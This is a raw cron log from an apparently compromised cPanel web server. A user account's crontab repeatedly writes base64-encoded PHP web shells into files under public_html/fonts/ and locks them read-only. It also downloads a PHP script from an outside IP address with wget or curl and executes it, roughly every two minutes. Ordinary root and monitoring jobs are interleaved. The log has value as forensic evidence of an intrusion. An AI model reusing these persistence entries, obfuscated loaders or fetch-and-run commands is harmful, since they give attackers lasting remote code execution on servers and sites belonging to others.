Sep 22 09:53:01 ip-184-168-122-23 CROND[21313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:53:01 ip-184-168-122-23 CROND[21315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:54:01 ip-184-168-122-23 CROND[21635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:54:01 ip-184-168-122-23 CROND[21636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:54:01 ip-184-168-122-23 CROND[21642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:54:02 ip-184-168-122-23 CROND[21646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:54:02 ip-184-168-122-23 CROND[21645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:55:02 ip-184-168-122-23 CROND[21900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:55:02 ip-184-168-122-23 CROND[21901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:55:02 ip-184-168-122-23 CROND[21902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:55:02 ip-184-168-122-23 CROND[21905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:55:02 ip-184-168-122-23 CROND[21906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:55:02 ip-184-168-122-23 CROND[21908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:56:01 ip-184-168-122-23 CROND[22064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:56:01 ip-184-168-122-23 CROND[22065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:56:01 ip-184-168-122-23 CROND[22069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:56:01 ip-184-168-122-23 CROND[22068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:56:01 ip-184-168-122-23 CROND[22070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:57:01 ip-184-168-122-23 CROND[22210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:57:01 ip-184-168-122-23 CROND[22212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:57:01 ip-184-168-122-23 CROND[22211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:57:01 ip-184-168-122-23 CROND[22214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:58:01 ip-184-168-122-23 CROND[22363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:58:01 ip-184-168-122-23 CROND[22367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:58:01 ip-184-168-122-23 CROND[22365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:58:01 ip-184-168-122-23 CROND[22366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:58:01 ip-184-168-122-23 CROND[22368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:59:01 ip-184-168-122-23 CROND[22492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:59:01 ip-184-168-122-23 CROND[22493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:59:01 ip-184-168-122-23 CROND[22494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:59:01 ip-184-168-122-23 CROND[22495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:00:01 ip-184-168-122-23 CROND[22769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:00:01 ip-184-168-122-23 CROND[22771]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 10:00:01 ip-184-168-122-23 CROND[22772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:00:01 ip-184-168-122-23 CROND[22774]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 10:00:01 ip-184-168-122-23 CROND[22777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:00:01 ip-184-168-122-23 CROND[22779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:00:01 ip-184-168-122-23 CROND[22778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:00:01 ip-184-168-122-23 CROND[22781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:00:01 ip-184-168-122-23 CROND[22780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:01:01 ip-184-168-122-23 CROND[22960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:01:01 ip-184-168-122-23 CROND[22961]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 10:01:01 ip-184-168-122-23 CROND[22964]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 10:01:01 ip-184-168-122-23 CROND[22963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:01:01 ip-184-168-122-23 CROND[22968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:01:01 ip-184-168-122-23 CROND[22965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22961]: starting 0anacron
Sep 22 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22981]: finished 0anacron
Sep 22 10:02:01 ip-184-168-122-23 CROND[23141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:02:01 ip-184-168-122-23 CROND[23143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:02:01 ip-184-168-122-23 CROND[23144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:02:01 ip-184-168-122-23 CROND[23146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:02:01 ip-184-168-122-23 CROND[23147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:03:01 ip-184-168-122-23 CROND[23275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:03:01 ip-184-168-122-23 CROND[23278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:03:01 ip-184-168-122-23 CROND[23277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:03:01 ip-184-168-122-23 CROND[23276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:04:01 ip-184-168-122-23 CROND[23421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:04:01 ip-184-168-122-23 CROND[23423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:04:01 ip-184-168-122-23 CROND[23427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:04:01 ip-184-168-122-23 CROND[23425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:04:01 ip-184-168-122-23 CROND[23426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:05:01 ip-184-168-122-23 CROND[23607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:05:01 ip-184-168-122-23 CROND[23608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:05:01 ip-184-168-122-23 CROND[23610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
